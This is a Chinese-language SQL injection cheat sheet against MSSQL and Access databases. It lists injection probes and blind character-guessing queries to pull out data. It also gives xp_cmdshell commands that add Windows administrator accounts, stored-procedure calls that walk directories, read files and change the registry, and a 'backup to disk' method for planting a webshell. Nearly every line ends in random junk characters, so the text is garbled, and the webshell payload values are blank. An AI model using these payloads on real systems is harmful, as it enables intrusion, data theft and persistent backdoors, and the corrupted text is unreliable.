1.判断是否有注入;and 1=1 ;and 1=2 ~ xam ;]2
2.初步判断是否是mssql ;and user>0 "c~``i\G
zhE4:g9v
3.注入参数是字符'and [查询条件] and ''=' *C)m#[#:u
o r ~@!
4.搜索时没过滤参数的'and [查询条件] and '%25'=' 7g8\q@',
im>/$!&OyI
5.判断数据库系统 $hJ 4=F
.nr%c*JUp
;and (select count(*) from sysobjects)>0 mssql x?6^EB|@
+Rd\*b
;and (select count(*) from msysobjects)>0 access RU.j[8N$
8fvKVS
2hntQ1[
:n<l0
6.猜数据库 ;and (select Count(*) from [数据库名])>0 ~>]Ie~E: (
;mV>k_AG
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 pkIQ,W{Ke
L) _ VdB
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 eG1A7n'6W
YedF%
9.(1)猜字段的ascii值(access) vRmzjd~
!N:w?zsp
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 /jaO\t'q
?~^p:T
(2)猜字段的ascii值(mssql) "
d~M\Az
r+]a
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 BR6HD7G
?fU{?nI}>p
10.测试权限结构(mssql) bMqS:+
|Qpo[E}a
;(g"=9e
oPAc6ObOV~
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- -uAGG?ZER
M+=q"#&
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ' z^v}~
,=ju^_^sA
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- Odt<WG
]~m=b`o
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- m&*0<N
UBwYwm0
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 3wgZDF38
T2T?)_f /
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- W.7u6F`
h1j1PRE
;and 1=(select IS_MEMBER('db_owner'));-- aIfB^M*c5
w `M/0.)V
IxlPpS9Wx
huin?,eGz
11.添加mssql和系统的帐户 2JHF*zvO-
Y^?PHz'Go
;exec master.dbo.sp_addlogin username;-- R'1"`@fG
;exec master.dbo.sp_password null,username,password;-- ^> d"D
Zg])uM]\2i
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- Q|Pm8{8
dI,H:g
;exec master.dbo.xp_cmdshell 'net user username password G~lnX^46"
Fw#wVs)@:
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- xNVSWi,
n<[H!4
;exec master.dbo.xp_cmdshell 'net user username password /add';-- -fz( ]d
{>&M:_`k
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- KC\W6|NtGj
T6,6lll
v@!r$jZ
61K:SXj
12.(1)遍历目录 kdm@1x
7sJGB^vM
;create table dirs(paths varchar(100), id int) n{F&GE="
4,6?sTuX
;insert dirs exec master.dbo.xp_dirtree 'c:\' xO
1uHaL
Sj'.)nz>
;and (select top 1 paths from dirs)>0 $)O\i^T
XOY\NMo
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) m`3gNox
VS<w:{*
QRY7ck:N
&4F
iYZ
(2)遍历目录 ;xE1#ZT
TP/bPZY
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ^6^A/]v
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 B{_-k
=~j S
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 Bv=:F5hLG
*5'l"YQ@1
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 Su`]
ku'
Fc"+L+h@W
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 <C7/b#4>\
m3b?f B
1b"3]?
}l@7t&T|
13.mssql中的存储过程 3n TpL#
=hKu85
xp_regenumvalues 注册表根键, 子键 g>Kh? (
cNuBWLG
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 '~Gk{'Nx"
{B\lk:"X
xp_regread 根键,子键,键值名 `l}r&z(8
K}Pi"Le@W
;exec xp_regread 6~(iLtd#
^F$iD (f
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 af2yng
'#Y[(5
xp_regwrite 根键,子键, 值名, 值类型, 值 >:U{o!N`#_
Nxt z1
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 WG*S:_?
Q92hI"
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 g(zoN0~
,G(bwE9~
xp_regdeletevalue 根键,子键,值名 _;5N@2?
gNo}\
lm4V
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 V_7QWIdiy>
TYr"yZ([
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 fyt`$y_E[
N]@e7P'9F
'WQ<|(:{
,1-#Z"~c
14.mssql的backup创建webshell r*s)T`T}}
|h1Y3
use model syLpnNx=
E?P:!V=_
create table cmd(str image); Ra?0jcSQ$
<</
Le%
insert into cmd(str) values (''); I!-5
#bxD
BnLE+X
backup database model to disk='c:\l.asp'; _LSf
)
;*EPAC+
lvZ:Aw
r
Ni 5Su
15.mssql内置函数 L%O(
I
j*)K>
\
;and (select @@version)>0 获得Windows的版本号 zd3%9r j$
{VrjDj+Xy
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0xg6
e!~x-P5M`
;and (select user_name())>0 爆当前系统的连接用户 }fKpih
27KfT]=
;and (select db_name())>0 得到当前连接的数据库 a7Rg!%r
UK xeN[fv
>T~duwS
b:}+l;e52
16.简洁的webshell \a\ApD
q+-Bl
use model BPzlt
-%x9^oQwY
create table cmd(str image); |CFTOe\q
DR6 OR B7
insert into cmd(str) values (''); x,SzZ)l-9
UN*XLHio
backup database model to disk='g:\wwwtest\l.asp';